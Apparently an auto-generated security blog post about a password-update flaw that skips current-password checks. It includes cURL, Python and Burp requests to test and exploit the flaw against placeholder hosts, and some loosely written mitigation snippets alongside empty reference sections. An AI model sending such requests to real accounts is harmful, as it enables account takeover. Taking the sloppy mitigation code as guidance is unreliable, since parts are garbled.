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A recent discovery by security researchers Ching-Yen Tseng and Julien TR revealed a dangerous logic flaw in a password update flow. The system failed to verify the user’s current password before allowing changes, enabling attackers to modify account credentials without authentication.
You Should Know:
1. Testing for Missing Password Verification
To check if a web application skips password verification during updates, use these methods:
Manual Testing with cURL
curl -X POST "https://example.com/update-password" \
-H "Content-Type: application/json" \
-d '{"new_password":"hacked123", "current_password":"anything"}'
If the request succeeds without the correct current_password, the system is vulnerable.
Automated Testing with Python
import requests
url = "https://example.com/update-password"
headers = {"Content-Type": "application/json"}
payload = {"new_password": "hacked123", "current_password": "invalid"}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("[!] Vulnerability Found: No Password Verification!")
2. Exploiting the Flaw
If an attacker gains temporary access (e.g., via session hijacking), they can change passwords without knowing the original:
Using Burp Suite Repeater:
POST /change-password HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{"new_password":"attacker_controlled"}
3. Mitigation Steps for Developers
- Enforce Current Password Verification:
-- Database check in backend UPDATE users SET password='new_hash' WHERE id=user_id AND password='current_hash';
- Rate-Limit Password Changes:
limit_req_zone $binary_remote_addr zone=passchange:10m rate=2/m;
- Multi-Factor Authentication (MFA) Enforcement:
Linux PAM module for MFA auth required pam_google_authenticator.so
4. Defensive Commands for Sysadmins
- Check Suspicious Account Modifications (Linux):
grep "password change" /var/log/auth.log
- Audit Failed Login Attempts (Windows):
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625}
What Undercode Say
This flaw highlights the risks of weak authentication logic. While rated “Low” in bug bounty programs, it can be chained with session fixation or CSRF for full account takeover. Developers must validate all critical actions, and pentesters should prioritize testing auth flows.
Prediction
Expect more such flaws in legacy systems migrating to cloud-based auth. Automated scanners will soon integrate checks for missing password verification.
Expected Output:
- Vulnerable Request:
POST /update-password HTTP/1.1 Host: example.com {"new_password":"attack", "current_password":"fake"} - Patch Required:
401 Unauthorized if current_password is incorrect
URLs for Reference:
References:
Reported By: Ching Yen – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
